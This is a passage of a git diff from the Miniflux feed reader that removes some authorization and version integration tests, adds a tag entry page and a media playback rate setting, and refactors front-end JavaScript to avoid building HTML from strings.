testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - client = miniflux.New(testBaseURL, username, testStandardPassword) - _, err = client.UserByID(user.ID) - if err == nil { - t.Fatal(`Standard users should not be able to get any users`) - } - - if err != miniflux.ErrForbidden { - t.Fatal(`A "Forbidden" error should be raised`) - } -} - -func TestCannotUpdateUserAsNonAdmin(t *testing.T) { - adminClient := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - - usernameA := getRandomUsername() - userA, err := adminClient.CreateUser(usernameA, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - usernameB := getRandomUsername() - _, err = adminClient.CreateUser(usernameB, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - entriesPerPage := 10 - userAClient := miniflux.New(testBaseURL, usernameA, testStandardPassword) - userAAfterUpdate, err := userAClient.UpdateUser(userA.ID, &miniflux.UserModificationRequest{EntriesPerPage: &entriesPerPage}) - if err != nil { - t.Fatal(`Standard users should be able to update themselves`) - } - - if userAAfterUpdate.EntriesPerPage != entriesPerPage { - t.Fatalf(`The EntriesPerPage field of this user should be updated`) - } - - isAdmin := true - _, err = userAClient.UpdateUser(userA.ID, &miniflux.UserModificationRequest{IsAdmin: &isAdmin}) - if err == nil { - t.Fatal(`Standard users should not be able to become admin`) - } - - userBClient := miniflux.New(testBaseURL, usernameB, testStandardPassword) - _, err = userBClient.UpdateUser(userA.ID, &miniflux.UserModificationRequest{}) - if err == nil { - t.Fatal(`Standard users should not be able to update other users`) - } - - if err != miniflux.ErrForbidden { - t.Fatal(`A "Forbidden" error should be raised`) - } - - stylesheet := "test" - userC, err := adminClient.UpdateUser(userA.ID, &miniflux.UserModificationRequest{Stylesheet: &stylesheet}) - if err != nil { - t.Fatal(`Admin users should be able to update any users`) - } - - if userC.Stylesheet != stylesheet { - t.Fatalf(`The Stylesheet field of this user should be updated`) - } -} - -func TestCannotCreateUserAsNonAdmin(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - _, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - client = miniflux.New(testBaseURL, username, testStandardPassword) - _, err = client.CreateUser(username, testStandardPassword, false) - if err == nil { - t.Fatal(`Standard users should not be able to create users`) - } - - if err != miniflux.ErrForbidden { - t.Fatal(`A "Forbidden" error should be raised`) - } -} - -func TestCannotDeleteUserAsNonAdmin(t *testing.T) { - username := getRandomUsername() - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := client.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - client = miniflux.New(testBaseURL, username, testStandardPassword) - err = client.DeleteUser(user.ID) - if err == nil { - t.Fatal(`Standard users should not be able to remove any users`) - } - - if err != miniflux.ErrForbidden { - t.Fatal(`A "Forbidden" error should be raised`) - } -} - -func TestMarkUserAsReadAsUser(t *testing.T) { - username := getRandomUsername() - adminClient := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user, err := adminClient.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - - client := miniflux.New(testBaseURL, username, testStandardPassword) - feed, _ := createFeed(t, client) - - results, err := client.FeedEntries(feed.ID, nil) - if err != nil { - t.Fatalf(`Failed to get entries: %v`, err) - } - if results.Total == 0 { - t.Fatalf(`Invalid number of entries: %d`, results.Total) - } - if results.Entries[0].Status != miniflux.EntryStatusUnread { - t.Fatalf(`Invalid entry status, got %q instead of %q`, results.Entries[0].Status, miniflux.EntryStatusUnread) - } - - if err := client.MarkAllAsRead(user.ID); err != nil { - t.Fatalf(`Failed to mark user's unread entries as read: %v`, err) - } - - results, err = client.FeedEntries(feed.ID, nil) - if err != nil { - t.Fatalf(`Failed to get updated entries: %v`, err) - } - - for _, entry := range results.Entries { - if entry.Status != miniflux.EntryStatusRead { - t.Errorf(`Status for entry %d was %q instead of %q`, entry.ID, entry.Status, miniflux.EntryStatusRead) - } - } -} - -func TestCannotMarkUserAsReadAsOtherUser(t *testing.T) { - username := getRandomUsername() - adminClient := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - user1, err := adminClient.CreateUser(username, testStandardPassword, false) - if err != nil { - t.Fatal(err) - } - createFeed(t, miniflux.New(testBaseURL, username, testStandardPassword)) - - username2 := getRandomUsername() - if _, err = adminClient.CreateUser(username2, testStandardPassword, false); err != nil { - t.Fatal(err) - } - - client := miniflux.New(testBaseURL, username2, testStandardPassword) - err = client.MarkAllAsRead(user1.ID) - if err == nil { - t.Fatalf(`Non-admin users should not be able to mark another user as read`) - } - if err != miniflux.ErrForbidden { - t.Errorf(`A "Forbidden" error should be raised, got %q`, err) - } -} diff --git a/internal/tests/version_test.go b/internal/tests/version_test.go deleted file mode 100644 index ebb11aa1..00000000 --- a/internal/tests/version_test.go +++ /dev/null @@ -1,49 +0,0 @@ -// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. -// SPDX-License-Identifier: Apache-2.0 - -//go:build integration -// +build integration - -package tests - -import ( - "testing" - - miniflux "miniflux.app/v2/client" -) - -func TestVersionEndpoint(t *testing.T) { - client := miniflux.New(testBaseURL, testAdminUsername, testAdminPassword) - version, err := client.Version() - if err != nil { - t.Fatal(err) - } - - if version.Version == "" { - t.Fatal(`Version should not be empty`) - } - - if version.Commit == "" { - t.Fatal(`Commit should not be empty`) - } - - if version.BuildDate == "" { - t.Fatal(`Build date should not be empty`) - } - - if version.GoVersion == "" { - t.Fatal(`Go version should not be empty`) - } - - if version.Compiler == "" { - t.Fatal(`Compiler should not be empty`) - } - - if version.Arch == "" { - t.Fatal(`Arch should not be empty`) - } - - if version.OS == "" { - t.Fatal(`OS should not be empty`) - } -} diff --git a/internal/timezone/timezone_test.go b/internal/timezone/timezone_test.go index dc80c22f..49957b7a 100644 --- a/internal/timezone/timezone_test.go +++ b/internal/timezone/timezone_test.go @@ -6,6 +6,9 @@ package timezone // import "miniflux.app/v2/internal/timezone" import ( "testing" "time" + + // Make sure these tests pass when the timezone database is not installed on the host system. + _ "time/tzdata" ) func TestNow(t *testing.T) { diff --git a/internal/ui/entry_enclosure_save_position.go b/internal/ui/entry_enclosure_save_position.go index c125ac15..f0663e62 100644 --- a/internal/ui/entry_enclosure_save_position.go +++ b/internal/ui/entry_enclosure_save_position.go @@ -4,8 +4,7 @@ package ui // import "miniflux.app/v2/internal/ui" import ( - json2 "encoding/json" - "io" + json_parser "encoding/json" "net/http" "miniflux.app/v2/internal/http/request" @@ -30,21 +29,13 @@ func (h *handler) saveEnclosureProgression(w http.ResponseWriter, r *http.Reques } var postData enclosurePositionSaveRequest - body, err := io.ReadAll(r.Body) - if err != nil { - json.ServerError(w, r, err) - return - } - - json2.Unmarshal(body, &postData) - if err != nil { + if err := json_parser.NewDecoder(r.Body).Decode(&postData); err != nil { json.ServerError(w, r, err) return } enclosure.MediaProgression = postData.Progression - err = h.store.UpdateEnclosure(enclosure) - if err != nil { + if err := h.store.UpdateEnclosure(enclosure); err != nil { json.ServerError(w, r, err) return } diff --git a/internal/ui/entry_scraper.go b/internal/ui/entry_scraper.go index ad442b16..8eaaffc0 100644 --- a/internal/ui/entry_scraper.go +++ b/internal/ui/entry_scraper.go @@ -9,8 +9,8 @@ import ( "miniflux.app/v2/internal/http/request" "miniflux.app/v2/internal/http/response/json" "miniflux.app/v2/internal/locale" + "miniflux.app/v2/internal/mediaproxy" "miniflux.app/v2/internal/model" - "miniflux.app/v2/internal/proxy" "miniflux.app/v2/internal/reader/processor" "miniflux.app/v2/internal/storage" ) @@ -65,5 +65,5 @@ func (h *handler) fetchContent(w http.ResponseWriter, r *http.Request) { readingTime := locale.NewPrinter(user.Language).Plural("entry.estimated_reading_time", entry.ReadingTime, entry.ReadingTime) - json.OK(w, r, map[string]string{"content": proxy.ProxyRewriter(h.router, entry.Content), "reading_time": readingTime}) + json.OK(w, r, map[string]string{"content": mediaproxy.RewriteDocumentWithRelativeProxyURL(h.router, entry.Content), "reading_time": readingTime}) } diff --git a/internal/ui/entry_tag.go b/internal/ui/entry_tag.go new file mode 100644 index 00000000..cf153a8b --- /dev/null +++ b/internal/ui/entry_tag.go @@ -0,0 +1,90 @@ +// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +package ui // import "miniflux.app/v2/internal/ui" + +import ( + "net/http" + "net/url" + + "miniflux.app/v2/internal/http/request" + "miniflux.app/v2/internal/http/response/html" + "miniflux.app/v2/internal/http/route" + "miniflux.app/v2/internal/model" + "miniflux.app/v2/internal/storage" + "miniflux.app/v2/internal/ui/session" + "miniflux.app/v2/internal/ui/view" +) + +func (h *handler) showTagEntryPage(w http.ResponseWriter, r *http.Request) { + user, err := h.store.UserByID(request.UserID(r)) + if err != nil { + html.ServerError(w, r, err) + return + } + + tagName, err := url.PathUnescape(request.RouteStringParam(r, "tagName")) + if err != nil { + html.ServerError(w, r, err) + return + } + entryID := request.RouteInt64Param(r, "entryID") + + builder := h.store.NewEntryQueryBuilder(user.ID) + builder.WithTags([]string{tagName}) + builder.WithEntryID(entryID) + builder.WithoutStatus(model.EntryStatusRemoved) + + entry, err := builder.GetEntry() + if err != nil { + html.ServerError(w, r, err) + return + } + + if entry == nil { + html.NotFound(w, r) + return + } + + if user.MarkReadOnView && entry.Status == model.EntryStatusUnread { + err = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusRead) + if err != nil { + html.ServerError(w, r, err) + return + } + + entry.Status = model.EntryStatusRead + } + + entryPaginationBuilder := storage.NewEntryPaginationBuilder(h.store, user.ID, entry.ID, user.EntryOrder, user.EntryDirection) + entryPaginationBuilder.WithTags([]string{tagName}) + prevEntry, nextEntry, err := entryPaginationBuilder.Entries() + if err != nil { + html.ServerError(w, r, err) + return + } + + nextEntryRoute := "" + if nextEntry != nil { + nextEntryRoute = route.Path(h.router, "tagEntry", "tagName", url.PathEscape(tagName), "entryID", nextEntry.ID) + } + + prevEntryRoute := "" + if prevEntry != nil { + prevEntryRoute = route.Path(h.router, "tagEntry", "tagName", url.PathEscape(tagName), "entryID", prevEntry.ID) + } + + sess := session.New(h.store, request.SessionID(r)) + view := view.New(h.tpl, r, sess) + view.Set("entry", entry) + view.Set("prevEntry", prevEntry) + view.Set("nextEntry", nextEntry) + view.Set("nextEntryRoute", nextEntryRoute) + view.Set("prevEntryRoute", prevEntryRoute) + view.Set("user", user) + view.Set("countUnread", h.store.CountUnreadEntries(user.ID)) + view.Set("countErrorFeeds", h.store.CountUserFeedsWithErrors(user.ID)) + view.Set("hasSaveEntry", h.store.HasSaveEntry(user.ID)) + + html.OK(w, r, view.Render("entry")) +} diff --git a/internal/ui/feed_update.go b/internal/ui/feed_update.go index db5600ae..da75d59f 100644 --- a/internal/ui/feed_update.go +++ b/internal/ui/feed_update.go @@ -59,13 +59,13 @@ func (h *handler) updateFeed(w http.ResponseWriter, r *http.Request) { FeedURL: model.OptionalString(feedForm.FeedURL), SiteURL: model.OptionalString(feedForm.SiteURL), Title: model.OptionalString(feedForm.Title), - CategoryID: model.OptionalInt64(feedForm.CategoryID), + CategoryID: model.OptionalNumber(feedForm.CategoryID), BlocklistRules: model.OptionalString(feedForm.BlocklistRules), KeeplistRules: model.OptionalString(feedForm.KeeplistRules), UrlRewriteRules: model.OptionalString(feedForm.UrlRewriteRules), } - if validationErr := validator.ValidateFeedModification(h.store, loggedUser.ID, feedModificationRequest); validationErr != nil { + if validationErr := validator.ValidateFeedModification(h.store, loggedUser.ID, feed.ID, feedModificationRequest); validationErr != nil { view.Set("errorMessage", validationErr.Translate(loggedUser.Language)) html.OK(w, r, view.Render("edit_feed")) return diff --git a/internal/ui/form/settings.go b/internal/ui/form/settings.go index d5442218..a46d9714 100644 --- a/internal/ui/form/settings.go +++ b/internal/ui/form/settings.go @@ -33,6 +33,7 @@ type SettingsForm struct { DefaultHomePage string CategoriesSortingOrder string MarkReadOnView bool + MediaPlaybackRate float64 } // Merge updates the fields of the given user. @@ -55,6 +56,7 @@ func (s *SettingsForm) Merge(user *model.User) *model.User { user.DefaultHomePage = s.DefaultHomePage user.CategoriesSortingOrder = s.CategoriesSortingOrder user.MarkReadOnView = s.MarkReadOnView + user.MediaPlaybackRate = s.MediaPlaybackRate if s.Password != "" { user.Password = s.Password @@ -84,6 +86,10 @@ func (s *SettingsForm) Validate() *locale.LocalizedError { } } + if s.MediaPlaybackRate < 0.25 || s.MediaPlaybackRate > 4 { + return locale.NewLocalizedError("error.settings_media_playback_rate_range") + } + return nil } @@ -101,6 +107,10 @@ func NewSettingsForm(r *http.Request) *SettingsForm { if err != nil { cjkReadingSpeed = 0 } + mediaPlaybackRate, err := strconv.ParseFloat(r.FormValue("media_playback_rate"), 64) + if err != nil { + mediaPlaybackRate = 1 + } return &SettingsForm{ Username: r.FormValue("username"), Password: r.FormValue("password"), @@ -122,5 +132,6 @@ func NewSettingsForm(r *http.Request) *SettingsForm { DefaultHomePage: r.FormValue("default_home_page"), CategoriesSortingOrder: r.FormValue("categories_sorting_order"), MarkReadOnView: r.FormValue("mark_read_on_view") == "1", + MediaPlaybackRate: mediaPlaybackRate, } } diff --git a/internal/ui/form/settings_test.go b/internal/ui/form/settings_test.go index a8afdfb7..84bbd9b7 100644 --- a/internal/ui/form/settings_test.go +++ b/internal/ui/form/settings_test.go @@ -22,6 +22,7 @@ func TestValid(t *testing.T) { DefaultReadingSpeed: 35, CJKReadingSpeed: 25, DefaultHomePage: "unread", + MediaPlaybackRate: 1.25, } err := settings.Validate() @@ -45,6 +46,7 @@ func TestConfirmationEmpty(t *testing.T) { DefaultReadingSpeed: 35, CJKReadingSpeed: 25, DefaultHomePage: "unread", + MediaPlaybackRate: 1.25, } err := settings.Validate() @@ -72,6 +74,7 @@ func TestConfirmationIncorrect(t *testing.T) { DefaultReadingSpeed: 35, CJKReadingSpeed: 25, DefaultHomePage: "unread", + MediaPlaybackRate: 1.25, } err := settings.Validate() diff --git a/internal/ui/proxy.go b/internal/ui/proxy.go index 110aeb5a..34965275 100644 --- a/internal/ui/proxy.go +++ b/internal/ui/proxy.go @@ -46,7 +46,7 @@ func (h *handler) mediaProxy(w http.ResponseWriter, r *http.Request) { return } - mac := hmac.New(sha256.New, config.Opts.ProxyPrivateKey()) + mac := hmac.New(sha256.New, config.Opts.MediaProxyPrivateKey()) mac.Write(decodedURL) expectedMAC := mac.Sum(nil) @@ -99,9 +99,9 @@ func (h *handler) mediaProxy(w http.ResponseWriter, r *http.Request) { clt := &http.Client{ Transport: &http.Transport{ - IdleConnTimeout: time.Duration(config.Opts.ProxyHTTPClientTimeout()) * time.Second, + IdleConnTimeout: time.Duration(config.Opts.MediaProxyHTTPClientTimeout()) * time.Second, }, - Timeout: time.Duration(config.Opts.ProxyHTTPClientTimeout()) * time.Second, + Timeout: time.Duration(config.Opts.MediaProxyHTTPClientTimeout()) * time.Second, } resp, err := clt.Do(req) diff --git a/internal/ui/settings_show.go b/internal/ui/settings_show.go index 23e6d401..3a96b29c 100644 --- a/internal/ui/settings_show.go +++ b/internal/ui/settings_show.go @@ -41,6 +41,7 @@ func (h *handler) showSettingsPage(w http.ResponseWriter, r *http.Request) { DefaultHomePage: user.DefaultHomePage, CategoriesSortingOrder: user.CategoriesSortingOrder, MarkReadOnView: user.MarkReadOnView, + MediaPlaybackRate: user.MediaPlaybackRate, } timezones, err := h.store.Timezones() diff --git a/internal/ui/settings_update.go b/internal/ui/settings_update.go index 122ad441..fceec0dc 100644 --- a/internal/ui/settings_update.go +++ b/internal/ui/settings_update.go @@ -56,12 +56,13 @@ func (h *handler) updateSettings(w http.ResponseWriter, r *http.Request) { Language: model.OptionalString(settingsForm.Language), Timezone: model.OptionalString(settingsForm.Timezone), EntryDirection: model.OptionalString(settingsForm.EntryDirection), - EntriesPerPage: model.OptionalInt(settingsForm.EntriesPerPage), + EntriesPerPage: model.OptionalNumber(settingsForm.EntriesPerPage), DisplayMode: model.OptionalString(settingsForm.DisplayMode), GestureNav: model.OptionalString(settingsForm.GestureNav), - DefaultReadingSpeed: model.OptionalInt(settingsForm.DefaultReadingSpeed), - CJKReadingSpeed: model.OptionalInt(settingsForm.CJKReadingSpeed), + DefaultReadingSpeed: model.OptionalNumber(settingsForm.DefaultReadingSpeed), + CJKReadingSpeed: model.OptionalNumber(settingsForm.CJKReadingSpeed), DefaultHomePage: model.OptionalString(settingsForm.DefaultHomePage), + MediaPlaybackRate: model.OptionalNumber(settingsForm.MediaPlaybackRate), } if validationErr := validator.ValidateUserModification(h.store, loggedUser.ID, userModificationRequest); validationErr != nil { diff --git a/internal/ui/static/css/common.css b/internal/ui/static/css/common.css index c3d79f59..1a3c3ee8 100644 --- a/internal/ui/static/css/common.css +++ b/internal/ui/static/css/common.css @@ -242,6 +242,8 @@ a:hover { text-decoration: none; line-height: 30px; color: #fff; + background-color: transparent; + border: 0; } #btn-add-to-home-screen:hover { @@ -281,7 +283,7 @@ a:hover { } /* Hide the logo when there is not enough space to display menus when using languages more verbose than English */ -@media (min-width: 625px) and (max-width: 830px) { +@media (min-width: 620px) and (max-width: 830px) { .logo { display: none; } diff --git a/internal/ui/static/js/app.js b/internal/ui/static/js/app.js index 51a73e2e..02911194 100644 --- a/internal/ui/static/js/app.js +++ b/internal/ui/static/js/app.js @@ -86,7 +86,8 @@ function onClickMainMenuListItem(event) { if (element.tagName === "A") { window.location.href = element.getAttribute("href"); } else { - window.location.href = element.querySelector("a").getAttribute("href"); + const linkElement = element.querySelector("a") || element.closest("a"); + window.location.href = linkElement.getAttribute("href"); } } @@ -167,6 +168,14 @@ function handleEntryStatus(item, element, setToRead) { } } +// Add an icon-label span element. +function appendIconLabel(element, labelTextContent) { + const span = document.createElement('span'); + span.classList.add('icon-label'); + span.textContent = labelTextContent; + element.appendChild(span); +} + // Change the entry status to the opposite value. function toggleEntryStatus(element, toasting) { const entryID = parseInt(element.dataset.id, 10); @@ -193,7 +202,8 @@ function toggleEntryStatus(element, toasting) { } } - link.innerHTML = iconElement.innerHTML + '<span class="icon-label">' + label + '</span>'; + link.replaceChildren(iconElement.content.cloneNode(true)); + appendIconLabel(link, label); link.dataset.value = newStatus; if (element.classList.contains("item-status-" + currentStatus)) { @@ -258,11 +268,13 @@ function saveEntry(element, toasting) { return; } - element.innerHTML = '<span class="icon-label">' + element.dataset.labelLoading + '</span>'; + element.textContent = ""; + appendIconLabel(element, element.dataset.labelLoading); const request = new RequestBuilder(element.dataset.saveUrl); request.withCallback(() => { - element.innerHTML = '<span class="icon-label">' + element.dataset.labelDone + '</span>'; + element.textContent = ""; + appendIconLabel(element, element.dataset.labelDone); element.dataset.completed = true; if (toasting) { const iconElement = document.querySelector("template#icon-save"); @@ -283,35 +295,37 @@ function handleBookmark(element) { // Send the Ajax request and change the icon when bookmarking an entry. function toggleBookmark(parentElement, toasting) { - const element = parentElement.querySelector(":is(a, button)[data-toggle-bookmark]"); - if (!element) { + const buttonElement = parentElement.querySelector(":is(a, button)[data-toggle-bookmark]"); + if (!buttonElement) { return; } - element.innerHTML = '<span class="icon-label">' + element.dataset.labelLoading + '</span>'; + buttonElement.textContent = ""; + appendIconLabel(buttonElement, buttonElement.dataset.labelLoading); - const request = new RequestBuilder(element.dataset.bookmarkUrl); + const request = new RequestBuilder(buttonElement.dataset.bookmarkUrl); request.withCallback(() => { - const currentStarStatus = element.dataset.value; + const currentStarStatus = buttonElement.dataset.value; const newStarStatus = currentStarStatus === "star" ? "unstar" : "star"; let iconElement, label; if (currentStarStatus === "star") { iconElement = document.querySelector("template#icon-star"); - label = element.dataset.labelStar; + label = buttonElement.dataset.labelStar; if (toasting) { - showToast(element.dataset.toastUnstar, iconElement); + showToast(buttonElement.dataset.toastUnstar, iconElement); } } else { iconElement = document.querySelector("template#icon-unstar"); - label = element.dataset.labelUnstar; + label = buttonElement.dataset.labelUnstar; if (toasting) { - showToast(element.dataset.toastStar, iconElement); + showToast(buttonElement.dataset.toastStar, iconElement); } } - element.innerHTML = iconElement.innerHTML + '<span class="icon-label">' + label + '</span>'; - element.dataset.value = newStarStatus; + buttonElement.replaceChildren(iconElement.content.cloneNode(true)); + appendIconLabel(buttonElement, label); + buttonElement.dataset.value = newStarStatus; }); request.execute(); } @@ -322,25 +336,27 @@ function handleFetchOriginalContent() { return; } - const element = document.querySelector(":is(a, button)[data-fetch-content-entry]"); - if (!element) { + const buttonElement = document.querySelector(":is(a, button)[data-fetch-content-entry]"); + if (!buttonElement) { return; } - const previousElement = element.cloneNode(true); - element.innerHTML = '<span class="icon-label">' + element.dataset.labelLoading + '</span>'; + const previousElement = buttonElement.cloneNode(true); - const request = new RequestBuilder(element.dataset.fetchContentUrl); + buttonElement.textContent = ""; + appendIconLabel(buttonElement, buttonElement.dataset.labelLoading); + + const request = new RequestBuilder(buttonElement.dataset.fetchContentUrl); request.withCallback((response) => { - element.textContent = ''; - element.appendChild(previousElement); + buttonElement.textContent = ''; + buttonElement.appendChild(previousElement); response.json().then((data) => { if (data.hasOwnProperty("content") && data.hasOwnProperty("reading_time")) { - document.querySelector(".entry-content").innerHTML = data.content; + document.querySelector(".entry-content").innerHTML = ttpolicy.createHTML(data.content); const entryReadingtimeElement = document.querySelector(".entry-reading-time"); if (entryReadingtimeElement) { - entryReadingtimeElement.innerHTML = data.reading_time; + entryReadingtimeElement.textContent = data.reading_time; } } }); @@ -429,17 +445,31 @@ function goToPage(page, fallbackSelf) { } } -function goToPrevious() { +/** + * + * @param {(number|event)} offset - many items to jump for focus. + */ +function goToPrevious(offset) { + if (offset instanceof KeyboardEvent) { + offset = -1; + } if (isListView()) { - goToListItem(-1); + goToListItem(offset); } else { goToPage("previous"); } } -function goToNext() { +/** + * + * @param {(number|event)} offset - How many items to jump for focus. + */ +function goToNext(offset) { + if (offset instanceof KeyboardEvent) { + offset = 1; + } if (isListView()) { - goToListItem(1); + goToListItem(offset); } else { goToPage("next"); } @@ -467,6 +497,10 @@ function goToFeed() { } } +// Sentinel values for specific list navigation +const TOP = 9999; +const BOTTOM = -9999; + /** * @param {number} offset How many items to jump for focus. */ @@ -486,8 +520,15 @@ function goToListItem(offset) { if (items[i].classList.contains("current-item")) { items[i].classList.remove("current-item"); - const index = (i + offset + items.length) % items.length; - const item = items[index]; + // By default adjust selection by offset + let itemOffset = (i + offset + items.length) % items.length; + // Allow jumping to top or bottom + if (offset == TOP) { + itemOffset = 0; + } else if (offset == BOTTOM) { + itemOffset = items.length - 1; + } + const item = items[itemOffset]; item.classList.add("current-item"); DomHelper.scrollPageTo(item); @@ -520,7 +561,7 @@ function incrementUnreadCounter(n) { function updateUnreadCounterValue(callback) { document.querySelectorAll("span.unread-counter").forEach((element) => { const oldValue = parseInt(element.textContent, 10); - element.innerHTML = callback(oldValue); + element.textContent = callback(oldValue); }); if (window.location.href.endsWith('/unread')) { @@ -615,7 +656,8 @@ function showToast(label, iconElement) { const toastMsgElement = document.getElementById("toast-msg"); if (toastMsgElement) { - toastMsgElement.innerHTML = iconElement.innerHTML + '<span class="icon-label">' + label + '</span>'; + toastMsgElement.replaceChildren(iconElement.content.cloneNode(true)); + appendIconLabel(toastMsgElement, label); const toastElementWrapper = document.getElementById("toast-wrapper"); if (toastElementWrapper) { diff --git a/internal/ui/static/js/bootstrap.js b/internal/ui/static/js/bootstrap.js index 53793a4c..44d6e716 100644 --- a/internal/ui/static/js/bootstrap.js +++ b/internal/ui/static/js/bootstrap.js @@ -2,42 +2,44 @@ document.addEventListener("DOMContentLoaded", () => { handleSubmitButtons(); if (!document.querySelector("body[data-disable-keyboard-shortcuts=true]")) { - let keyboardHandler = new KeyboardHandler(); + const keyboardHandler = new KeyboardHandler(); keyboardHandler.on("g u", () => goToPage("unread")); keyboardHandler.on("g b", () => goToPage("starred")); keyboardHandler.on("g h", () => goToPage("history")); - keyboardHandler.on("g f", () => goToFeedOrFeeds()); + keyboardHandler.on("g f", goToFeedOrFeeds); keyboardHandler.on("g c", () => goToPage("categories")); keyboardHandler.on("g s", () => goToPage("settings")); - keyboardHandler.on("ArrowLeft", () => goToPrevious()); - keyboardHandler.on("ArrowRight", () => goToNext()); - keyboardHandler.on("k", () => goToPrevious()); - keyboardHandler.on("p", () => goToPrevious()); - keyboardHandler.on("j", () => goToNext()); - keyboardHandler.on("n", () => goToNext()); + keyboardHandler.on("g g", () => goToPrevious(TOP)); + keyboardHandler.on("G", () => goToNext(BOTTOM)); + keyboardHandler.on("ArrowLeft", goToPrevious); + keyboardHandler.on("ArrowRight", goToNext); + keyboardHandler.on("k", goToPrevious); + keyboardHandler.on("p", goToPrevious); + keyboardHandler.on("j", goToNext); + keyboardHandler.on("n", goToNext); keyboardHandler.on("h", () => goToPage("previous")); keyboardHandler.on("l", () => goToPage("next")); - keyboardHandler.on("z t", () => scrollToCurrentItem()); - keyboardHandler.on("o", () => openSelectedItem()); + keyboardHandler.on("z t", scrollToCurrentItem); + keyboardHandler.on("o", openSelectedItem); keyboardHandler.on("Enter", () => openSelectedItem()); - keyboardHandler.on("v", () => openOriginalLink()); + keyboardHandler.on("v", () => openOriginalLink(false)); keyboardHandler.on("V", () => openOriginalLink(true)); - keyboardHandler.on("c", () => openCommentLink()); + keyboardHandler.on("c", () => openCommentLink(false)); keyboardHandler.on("C", () => openCommentLink(true)); keyboardHandler.on("m", () => handleEntryStatus("next")); keyboardHandler.on("M", () => handleEntryStatus("previous")); - keyboardHandler.on("A", () => markPageAsRead()); + keyboardHandler.on("A", markPageAsRead); keyboardHandler.on("s", () => handleSaveEntry()); - keyboardHandler.on("d", () => handleFetchOriginalContent()); + keyboardHandler.on("d", handleFetchOriginalContent); keyboardHandler.on("f", () => handleBookmark()); - keyboardHandler.on("F", () => goToFeed()); - keyboardHandler.on("R", () => handleRefreshAllFeeds()); - keyboardHandler.on("?", () => showKeyboardShortcuts()); - keyboardHandler.on("+", () => goToAddSubscription()); - keyboardHandler.on("#", () => unsubscribeFromFeed()); + keyboardHandler.on("F", goToFeed); + keyboardHandler.on("R", handleRefreshAllFeeds); + keyboardHandler.on("?", showKeyboardShortcuts); + keyboardHandler.on("+", goToAddSubscription); + keyboardHandler.on("#", unsubscribeFromFeed); keyboardHandler.on("/", () => goToPage("search")); keyboardHandler.on("a", () => { - let enclosureElement = document.querySelector('.entry-enclosures'); + const enclosureElement = document.querySelector('.entry-enclosures'); if (enclosureElement) { enclosureElement.toggleAttribute('open'); } @@ -46,7 +48,7 @@ document.addEventListener("DOMContentLoaded", () => { keyboardHandler.listen(); } - let touchHandler = new TouchHandler(); + const touchHandler = new TouchHandler(); touchHandler.listen(); if (WebAuthnHandler.isWebAuthnSupported()) { @@ -54,7 +56,7 @@ document.addEventListener("DOMContentLoaded", () => { onClick("#webauthn-delete", () => { webauthnHandler.removeAllCredentials(); }); - let registerButton = document.getElementById("webauthn-register"); + const registerButton = document.getElementById("webauthn-register"); if (registerButton != null) { registerButton.disabled = false; @@ -63,13 +65,13 @@ document.addEventListener("DOMContentLoaded", () => { }); } - let loginButton = document.getElementById("webauthn-login"); + const loginButton = document.getElementById("webauthn-login"); if (loginButton != null) { const abortController = new AbortController(); loginButton.disabled = false; onClick("#webauthn-login", () => { - let usernameField = document.getElementById("form-username"); + const usernameField = document.getElementById("form-username"); if (usernameField != null) { abortController.abort(); webauthnHandler.login(usernameField.value).catch(err => WebAuthnHandler.showErrorMessage(err)); @@ -82,13 +84,12 @@ document.addEventListener("DOMContentLoaded", () => { onClick(":is(a, button)[data-save-entry]", (event) => handleSaveEntry(event.target)); onClick(":is(a, button)[data-toggle-bookmark]", (event) => handleBookmark(event.target)); - onClick(":is(a, button)[data-fetch-content-entry]", () => handleFetchOriginalContent()); - onClick(":is(a, button)[data-share-status]", () => handleShare()); - onClick(":is(a, button)[data-action=markPageAsRead]", (event) => handleConfirmationMessage(event.target, () => markPageAsRead())); + onClick(":is(a, button)[data-fetch-content-entry]", handleFetchOriginalContent); + onClick(":is(a, button)[data-share-status]", handleShare); + onClick(":is(a, button)[data-action=markPageAsRead]", (event) => handleConfirmationMessage(event.target, markPageAsRead)); onClick(":is(a, button)[data-toggle-status]", (event) => handleEntryStatus("next", event.target)); - onClick(":is(a, button)[data-confirm]", (event) => handleConfirmationMessage(event.target, (url, redirectURL) => { - let request = new RequestBuilder(url); + const request = new RequestBuilder(url); request.withCallback((response) => { if (redirectURL) { @@ -118,22 +119,21 @@ document.addEventListener("DOMContentLoaded", () => { fixVoiceOverDetailsSummaryBug(); const logoElement = document.querySelector(".logo"); - logoElement.addEventListener("click", (event) => toggleMainMenu(event)); - logoElement.addEventListener("keydown", (event) => toggleMainMenu(event)); + if (logoElement) { + logoElement.addEventListener("click", toggleMainMenu); + logoElement.addEventListener("keydown", toggleMainMenu); + } onClick(".header nav li", (event) => onClickMainMenuListItem(event)); if ("serviceWorker" in navigator) { - let scriptElement = document.getElementById("service-worker-script"); + const scriptElement = document.getElementById("service-worker-script"); if (scriptElement) { - navigator.serviceWorker.register(scriptElement.src); + navigator.serviceWorker.register(ttpolicy.createScriptURL(scriptElement.src)); } } window.addEventListener('beforeinstallprompt', (e) => { - // Prevent Chrome 67 and earlier from automatically showing the prompt. - e.preventDefault(); - let deferredPrompt = e; const promptHomeScreen = document.getElementById('prompt-home-screen'); if (promptHomeScreen) { @@ -154,11 +154,19 @@ document.addEventListener("DOMContentLoaded", () => { }); // Save and resume media position - const elements = document.querySelectorAll("audio[data-last-position],video[data-last-position]"); - elements.forEach((element) => { + const lastPositionElements = document.querySelectorAll("audio[data-last-position],video[data-last-position]"); + lastPositionElements.forEach((element) => { if (element.dataset.lastPosition) { element.currentTime = element.dataset.lastPosition; } element.ontimeupdate = () => handlePlayerProgressionSave(element); }); + + 